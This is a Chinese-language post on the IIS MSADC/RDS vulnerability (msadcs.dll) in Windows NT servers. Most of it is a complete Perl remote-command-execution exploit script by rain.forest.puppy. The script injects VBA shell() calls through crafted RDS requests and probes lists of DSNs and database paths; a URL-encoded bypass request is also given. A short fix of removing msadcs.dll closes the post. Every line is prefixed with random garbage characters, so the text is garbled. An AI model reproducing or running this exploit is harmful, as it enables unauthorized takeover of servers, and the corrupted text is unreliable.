IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
zD#$]?@ b 9v\x& h 涉及程序：
%7w=; ]ym Microsoft NT server
k#eH
Q! 7a$K@iWU 描述：
[&_7w \m 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
CbvP1 *1 {6*$ yLWK 详细：
!,Ou:E?Bb 如果你没有时间读详细内容的话，就删除:
NCrNlH IF c:\Program Files\Common Files\System\Msadc\msadcs.dll
X8 }m
% 有关的安全问题就没有了。
csh@C
ckC8 | `T$Iq 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
lu_kir~ ]=gNA 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
BlLK6"gJT 关于利用ODBC远程漏洞的描述，请参看:
EZ,Tc ;f= |IcA8 [ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7
KuUV!\h` O/XG}G.x| 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
@A B}r1E2 http://www.microsoft.com/security/bulletins/MS99-025faq.asp F"-u8in` Abw=x4d(i 这里不再论述。
3_DwqZ 'O ?l> <?i 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
<E2 n M, D` Cy]j /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
k)3b0T@b 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
,`pUz[wl 0?$jC-@k: <r>1W~bp.q #将下面这段保存为txt文件，然后: "perl -x 文件名"
+$uQ_ve 5c Uz^ > #!perl
/f*QxNZ,p #
MdC}!& W # MSADC/RDS 'usage' (aka exploit) script
g AudL)X #
l cX'n8/3 # by rain.forest.puppy
We`6# \Z X #
7DZZdH$Fm # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
EX F|; @-" # beta test and find errors!
N,3 )`Vm
tLE7s_^ use Socket; use Getopt::Std;
qo* %S getopts("e:vd:h:XR", \%args);
A{ a4;`}5 "d; T1 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
R M3"8J tqFE>ojlI if (!defined $args{h} && !defined $args{R}) {
p
2>\ print qq~
]as+gZ8 Usage: msadc.pl -h <host> { -d <delay> -X -v }
f-BPT2U+ -h <host> = host you want to scan (ip or domain)
3j6Am{9 -d <seconds> = delay between calls, default 1 second
gW Ib" l -X = dump Index Server path table, if available
`C&@6{L -v = verbose
o)L)| -e = external dictionary file for step 5
X( )yhe_ ~]Weyb[ N Or a -R will resume a command session
Jm`{MzqL 5F78)q u6N ~; exit;}
M:* )l ( h]vu BHJ} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
@@3%lr71
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Tr.u'b( if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
XS(Q)\" if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
ce<88dL $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
c$8M} q:X if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
GUps\:ss gl~9|$ivj> if (!defined $args{R}){ $ret = &has_msadc;
=/ +f3 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
v05$"Ig j"
5 +"j print "Please type the NT commandline you want to run (cmd /c assumed):\n"
?&JK q^9\I . "cmd /c ";
V` 4/oM` $in=<STDIN>; chomp $in;
-`CE ; $command="cmd /c " . $in ;
bMB@${i} ]64pb;w"$D if (defined $args{R}) {&load; exit;}
WS.lDMYE7 .k"unclT0 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
x" P@[T &try_btcustmr;
6 SF29[& he|.Ow print "\nStep 2: Trying to make our own DSN...";
";Q}Gs} &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
r-AD*h@QZ O DxCD%L print "\nStep 3: Trying known DSNs...";
+' SG$<Xv &known_dsn;
GE* %I1?] t+#vcg,G print "\nStep 4: Trying known .mdbs...";
mq +x= &known_mdb;
@2~;)* 'F^1)Ga$ if (defined $args{e}){
bR< XQHl print "\nStep 5: Trying dictionary of DSN names...";
LaYd7Oyf] &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?&D.b$ o|APsQE print "Sorry Charley...maybe next time?\n";
,rX|_4 n* exit;
n^Q-K}!T/ Ud_0{%@ ##############################################################################
G%>{Z?!B @CS%=tE}U sub sendraw { # ripped and modded from whisker
\.]C`ocD sleep($delay); # it's a DoS on the server! At least on mine...
W)AfXy
my ($pstr)=@_;
CQs,G8 \/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
j9R+;u/! die("Socket problems\n");
RBpv40n0 if(connect(S,pack "SnA4x8",2,80,$target)){
O f]/tdPp select(S); $|=1;
}J6 y NoXu print $pstr; my @in=<S>;
=vsvx{o? select(STDOUT); close(S);
v, Z?pYYo return @in;
H#3Ma1z } else { die("Can't connect...\n"); }}
f t$!u-` 8{ )N%r ##############################################################################
C3KAQ U & kQj ) sub make_header { # make the HTTP request
W$J@|i my $msadc=<<EOT
^nLk{<D35 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
h*?]A User-Agent: ACTIVEDATA
h#Z~x Host: $ip
}?*$AVs2q Content-Length: $clen
C8 y[B1Y Connection: Keep-Alive
2BO"mc<#$ \=H+ m% ADCClientVersion:01.06
Bqw/\Lxwlf Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
v!#koqd1y. f%yNq6l --!ADM!ROX!YOUR!WORLD!
k/i&e~! \ Content-Type: application/x-varg
cA~bH 6 Content-Length: $reqlen
jpZ 7p ; *JO%.QNg EOT
U%)*I~9 ; $msadc=~s/\n/\r\n/g;
e"ClG/M_XS return $msadc;}
A27!I+M ,7;euV5X ##############################################################################
0y%s\,PsT :H/Rhx= sub make_req { # make the RDS request
zANsv9R~ my ($switch, $p1, $p2)=@_;
G 1:"Gxja my $req=""; my $t1, $t2, $query, $dsn;
k)a gbx juMHc$d17 if ($switch==1){ # this is the btcustmr.mdb query
&H%z1Lp $query="Select * from Customers where City=" . make_shell();
h5lngw $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
o[g] Va*8 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
!!6g<S7) 1~S'' [ elsif ($switch==2){ # this is general make table query
#66u<FaG $query="create table AZZ (B int, C varchar(10))";
0QBK(_O` $dsn="$p1";}
UW&K\P X\5EF7 :S elsif ($switch==3){ # this is general exploit table query
gyob q'o- $query="select * from AZZ where C=" . make_shell();
-Zqw[2 Q4 $dsn="$p1";}
,<;.'r
y S4nB04`= elsif ($switch==4){ # attempt to hork file info from index server
W,.Exh $query="select path from scope()";
h_B
nQZ\ $dsn="Provider=MSIDXS;";}
IeB^B D+j @1V?94T1 elsif ($switch==5){ # bad query
RA}Y$ }^#' $query="select";
c1 1?Kq $dsn="$p1";}
uf`/-jY 5G=fJAG $t1= make_unicode($query);
nr%P11U\c $t2= make_unicode($dsn);
O>IG7Ujl $req = "\x02\x00\x03\x00";
rji<g>GQ $req.= "\x08\x00" . pack ("S1", length($t1));
P?zL`czWd $req.= "\x00\x00" . $t1 ;
JR|P]} $req.= "\x08\x00" . pack ("S1", length($t2));
k!!d2y6 $req.= "\x00\x00" . $t2 ;
Bb7Vf7>
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
JiGS[tR return $req;}
:~~\{fm rR(\fX!dg ##############################################################################
>n5Kz]]% "gt*k# sub make_shell { # this makes the shell() statement
P]4@|u;=6[ return "'|shell(\"$command\")|'";}
U)SQ3*j2D KXcE@q9 ##############################################################################
\ZC 0bHsA 7qg . :h sub make_unicode { # quick little function to convert to unicode
Jg@eGs\* my ($in)=@_; my $out;
20 )8e!jP for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
RY~ m Q return $out;}
1fV\84m^ } 5y ]kn ##############################################################################
3#h@,>Z; Ar`U / %Cu sub rdo_success { # checks for RDO return success (this is kludge)
?aU-Y_pMe my (@in) = @_; my $base=content_start(@in);
V/J- zH& if($in[$base]=~/multipart\/mixed/){
|w.5*]?H return 1 if( $in[$base+10]=~/^\x09\x00/ );}
2XV3f$, H return 0;}
n;r
W .;37 e ##############################################################################
uD:tT ~ =2d h}8Mz sub make_dsn { # this makes a DSN for us
S~{ }j vc my @drives=("c","d","e","f");
(?z"_\^n/ print "\nMaking DSN: ";
%kiPE<<x foreach $drive (@drives) {
i",oPz7 print "$drive: ";
hFDo{yI my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
0y=lf+xA* "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
rv %^2h<& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Y NG S"3F $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
t ZA%^ Y return 0 if $2 eq "404"; # not found/doesn't exist
fCi1JH; if($2 eq "200") {
k; vhQ= foreach $line (@results) {
$ !:xjb return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
E1>zKENN; } return 0;}
8z* /J=n ^-K ~ y ##############################################################################
Q}]RB$ZS TuzH'F sub verify_exists {
a`zw 5 my ($page)=@_;
3!u:*ibt my @results=sendraw("GET $page HTTP/1.0\n\n");
V e4@^Jy; return $results[0];}
<O]B'Wc [ 8#15*'Y ##############################################################################
>FReGiK$T N "2P]Z r sub try_btcustmr {
o`\@Yq$. my @drives=("c","d","e","f");
]f3R;d my @dirs=("winnt","winnt35","winnt351","win","windows");
4 UnN~ %o#|zaK foreach $dir (@dirs) {
k_7agW print "$dir -> "; # fun status so you can see progress
JAI ; 7 foreach $drive (@drives) {
BY??X= print "$drive: "; # ditto
|1Pi`^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
A{ a`%FAV $reqlenlen=length( "$reqlen" );
]nQ(|$rW
$clen= 206 + $reqlenlen + $reqlen;
^I6GH?19>e 3H@29TrJ+ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
e"v oXe if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
ph=U<D4 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
b d3q207> S&;D ##############################################################################
XB\n4 |4 .l~g`._ sub odbc_error {
*]* D^' my (@in)=@_; my $base;
+AL(K: my $base = content_start(@in);
-LEpT$v| if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
5gY9D!;:0D $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
O@? *5 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
- x]gp5 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ixv/ xI return $in[$base+4].$in[$base+5].$in[$base+6];}
-gb'DN1BG print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
T>pz?e^5& print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
^ot9Q $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
bGa "r KZ/ 2# ` ##############################################################################
1IV
R4:a }
OAH/BW sub verbose {
B;xGTl@8 my ($in)=@_;
%Dm:|><V$b return if !$verbose;
/S&8%fb print STDOUT "\n$in\n";}
Z1M{5E $#d. @JWi ##############################################################################
L=5Fvm +@5*_n\e` sub save {
y7Sj^muBY my ($p1, $p2, $p3, $p4)=@_;
jd?NN:7 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
w T-@v,$ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
y`.m'n7>P close OUT;}
q. NvwJ ,N`D{H"F ##############################################################################
M[,G#GO z+6%Ya&ls sub load {
Z|qUVD5Ic my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cp<jwcc! open(IN,"<rds.save") || die("Couldn't open rds.save\n");
#gY|T| @p=<IN>; close(IN);
0@dN$e $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
6i_dL|c $target= inet_aton($ip) || die("inet_aton problems");
xEvm>BZi
print "Resuming to $ip ...";
T&~7*j(|e $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
K44j-Ypb if($p[1]==1) {
9!| +GIjn $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
@m Id{w z $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
7c.LyvM my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
B5fF\N^ if (rdo_success(@results)){print "Success!\n";}
2@#`x"0 else { print "failed\n"; verbose(odbc_error(@results));}}
_=RK elsif ($p[1]==3){
.>{I S 4 if(run_query("$p[3]")){
Bwg\_:vq print "Success!\n";} else { print "failed\n"; }}
Gmp`3 elsif ($p[1]==4){
S K7b]J> if(run_query($drvst . "$p[3]")){
w0 0Ba^W print "Success!\n"; } else { print "failed\n"; }}
!`EhVV8u-_ exit;}
C#4/~+ caC( KK#< ##############################################################################
DX%D8atrr SHT ^Etri sub create_table {
[p[C45d=< my ($in)=@_;
vQIN#;m4 $reqlen=length( make_req(2,$in,"") ) - 28;
y<A%& $reqlenlen=length( "$reqlen" );
KHJk}]K $clen= 206 + $reqlenlen + $reqlen;
3Y+
bIz! my @results=sendraw(make_header() . make_req(2,$in,""));
>*cg
K}!@ return 1 if rdo_success(@results);
=Frbhh57 my $temp= odbc_error(@results); verbose($temp);
p$*;> YKO return 1 if $temp=~/Table 'AZZ' already exists/;
za o C return 0;}
q mM%MPv w x %TQ! ##############################################################################
;l>C[6] W^AY:#eX~Q sub known_dsn {
*QT|J 6ng # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
nH % 1lD?: my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
y OLqIvN "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
K7N.gT *4 "banner", "banners", "ads", "ADCDemo", "ADCTest");
a5xmIp@6 q^k]e{PD foreach $dSn (@dsns) {
@M E
. print ".";
Z-B b,8 next if (!is_access("DSN=$dSn"));
K{x FhdW if(create_table("DSN=$dSn")){
%:WM]dc print "$dSn successful\n";
aR~Od Ys if(run_query("DSN=$dSn")){
WbP*kV { print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
0x/3Xz print "Something's borked. Use verbose next time\n";}}} print "\n";}
>hbT' Or@ bxA1fA; ##############################################################################
,dO$R.h |Z nR r sub is_access {
Qo;#}%}^^ my ($in)=@_;
hfuGCD6F` $reqlen=length( make_req(5,$in,"") ) - 28;
+)gXU Vwd $reqlenlen=length( "$reqlen" );
g2'Q )w $clen= 206 + $reqlenlen + $reqlen;
Pqm)OZE? my @results=sendraw(make_header() . make_req(5,$in,""));
?dcR!-3 my $temp= odbc_error(@results);
(ATCP#lF verbose($temp); return 1 if ($temp=~/Microsoft Access/);
AZTn!hrU return 0;}
']]&<B}mz ) "o+wSI1 ##############################################################################
\1p5$0z Ft)Z'&L
sub run_query {
-=A W. Z o my ($in)=@_;
6(X5n5C $reqlen=length( make_req(3,$in,"") ) - 28;
KZxA\,Y'5 $reqlenlen=length( "$reqlen" );
K{s% h0 $clen= 206 + $reqlenlen + $reqlen;
^QKL}xiV: my @results=sendraw(make_header() . make_req(3,$in,""));
GK/Q]}Q8pZ return 1 if rdo_success(@results);
n*oa J<o% my $temp= odbc_error(@results); verbose($temp);
v 8`)h<:W? return 0;}
6^ Ds I h1 D#, ##############################################################################
C;j V{sb9c 426)H_wx sub known_mdb {
`=0J: my @drives=("c","d","e","f","g");
~BVK6 my @dirs=("winnt","winnt35","winnt351","win","windows");
<9s=K\- my $dir, $drive, $mdb;
B~u_zZE my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
yO6
_G q{ P~+?:buqc # this is sparse, because I don't know of many
#NVqS5 my @sysmdbs=( "\\catroot\\icatalog.mdb",
A!kNq J2 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Qw$"W/&X "\\system32\\certmdb.mdb",
Y"uFlHN&i "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
$J |oVVct D k'EKT- my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
xmDX1sL** "\\cfusion\\cfapps\\forums\\forums_.mdb",
Ohm>^N;
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
B=;pyhc "\\cfusion\\cfapps\\security\\realm_.mdb",
=oF6|\]{ ; "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ZHs hg`I` "\\cfusion\\database\\cfexamples.mdb",
!_`T8pJ` "\\cfusion\\database\\cfsnippets.mdb",
toi pEp<ci "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
!j(KbAhWZ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
9 @ yP ;{Q "\\cfusion\\brighttiger\\database\\cleam.mdb",
p 0.?R "\\cfusion\\database\\smpolicy.mdb",
n(Up?_ "\\cfusion\\database\cypress.mdb",
$l&&y?() "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
tH:K6^oR "\\website\\cgi-win\\dbsample.mdb",
}eX_p6bBw "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
X*~NE\ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
@Y>3 -,o,S ); #these are just
+fhyw{ foreach $drive (@drives) {
|7Q8WjCQ{m foreach $dir (@dirs){
RZf C ? foreach $mdb (@sysmdbs) {
_^RN
C)o l print ".";
J{ mP5<8>b if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
4:}`X print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
QD:0iD? if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
xLZQ\2q print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
lxK_+fj
q } else { print "Something's borked. Use verbose next time\n"; }}}}}
g[;iVX^1& \2<2&=h? foreach $drive (@drives) {
@"s\eL,r foreach $mdb (@mdbs) {
J1<fE(X print ".";
%6 <Pt if(create_table($drv . $drive . $dir . $mdb)){
O#7ldF( print "\n" . $drive . $dir . $mdb . " successful\n";
2t { Cpw if(run_query($drv . $drive . $dir . $mdb)){
s8| #sHT print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
A*pihBo7 } else { print "Something's borked. Use verbose next time\n"; }}}}
2H<? }
Xh] \q) b,a\`% m} ##############################################################################
^ +[o + .Qh8I+Q% sub hork_idx {
dITnPb)i print "\nAttempting to dump Index Server tables...\n";
G
7)D+],{Y print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
v%< _Mh $reqlen=length( make_req(4,"","") ) - 28;
Za !c=(5 $reqlenlen=length( "$reqlen" );
0iX qAa $clen= 206 + $reqlenlen + $reqlen;
=X X_C nn my @results=sendraw2(make_header() . make_req(4,"",""));
V8Q#%#)FHe if (rdo_success(@results)){
5?kA)!|UB my $max=@results; my $c; my %d;
Wsz='@XvB for($c=19; $c<$max; $c++){
@ sKAsn $results[$c]=~s/\x00//g;
16N8h]l $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
l``1^&K $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
YLd
5 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
N0RFPEQ~ $d{"$1$2"}="";}
, m|9L{ foreach $c (keys %d){ print "$c\n"; }
,.FTw, < } else {print "Index server doesn't seem to be installed.\n"; }}
TiB E9 ,P" R.A ##############################################################################
;D8Ny a>% wI}'wALhA sub dsn_dict {
K=5_jE^e open(IN, "<$args{e}") || die("Can't open external dictionary\n");
vB4cdW
2#3 while(<IN>){
ap%o\&T; $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
]bn xOk next if (!is_access("DSN=$dSn"));
n'*L jp if(create_table("DSN=$dSn")){
~vl: Tb print "$dSn successful\n";
QrA8 KSLC if(run_query("DSN=$dSn")){
e3>Re![_. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-N\{QX1 Yd print "Something's borked. Use verbose next time\n";}}}
K[sM)_I print "\n"; close(IN);}
?XOeMI T %a]3 ##############################################################################
j|G-9E oZCi_g 5i sub sendraw2 { # ripped and modded from whisker
u
F*cS&'Z sleep($delay); # it's a DoS on the server! At least on mine...
ex!^&7Q( my ($pstr)=@_;
Bhq(b V socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@I"Aet'XV die("Socket problems\n");
,O~2
R if(connect(S,pack "SnA4x8",2,80,$target)){
C-Fp)Zs{0 print "Connected. Getting data";
'*, 4F' open(OUT,">raw.out"); my @in;
j [U0,] select(S); $|=1; print $pstr;
c?R.SBr,' while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
_T Po=}Z close(OUT); select(STDOUT); close(S); return @in;
@$+[IiP } else { die("Can't connect...\n"); }}
M.8!BB7\8e w|nVK9. ##############################################################################
:s'%IGy>: 93WYZNpX sub content_start { # this will take in the server headers
~v54$#CB my (@in)=@_; my $c;
iz^ wBQ for ($c=1;$c<500;$c++) {
R-Fi`#PG2 if($in[$c] =~/^\x0d\x0a/){
*>' R
R< if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
AB HZ)OM else { return $c+1; }}}
CQ( @7 return -1;} # it should never get here actually
\7 j)^ k xn;; ##############################################################################
*i?qOv /=> ?*s!&-KI sub funky {
YqJIp. Z my (@in)=@_; my $error=odbc_error(@in);
^w12k2a if($error=~/ADO could not find the specified provider/){
fcZOs Tj print "\nServer returned an ADO miscofiguration message\nAborting.\n";
`p ?E{k.N exit;}
(&*F`\ if($error=~/A Handler is required/){
'9/kDkt! print "\nServer has custom handler filters (they most likely are patched)\n";
^n2w6U0 exit;}
R$@.{d&:w if($error=~/specified Handler has denied Access/){
|Gf{ } print "\nServer has custom handler filters (they most likely are patched)\n";
o7T|w~F ~R exit;}}
1 I+5 :> q?s ##############################################################################
Y>#c2@^i< j d8 1E sub has_msadc {
W_
6Jl5] my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
*(scSC> my $base=content_start(@results);
]Cz16e&=2 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
aBI]' D; return 0;}
>Qx#2x+ 2>!ykUw^O ########################
m5p~>]}fYF @Hf }PBb k`AJ$\= 解决方案：
>gSerDH8\ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
~+n p7 2、移除web 目录: /msadc
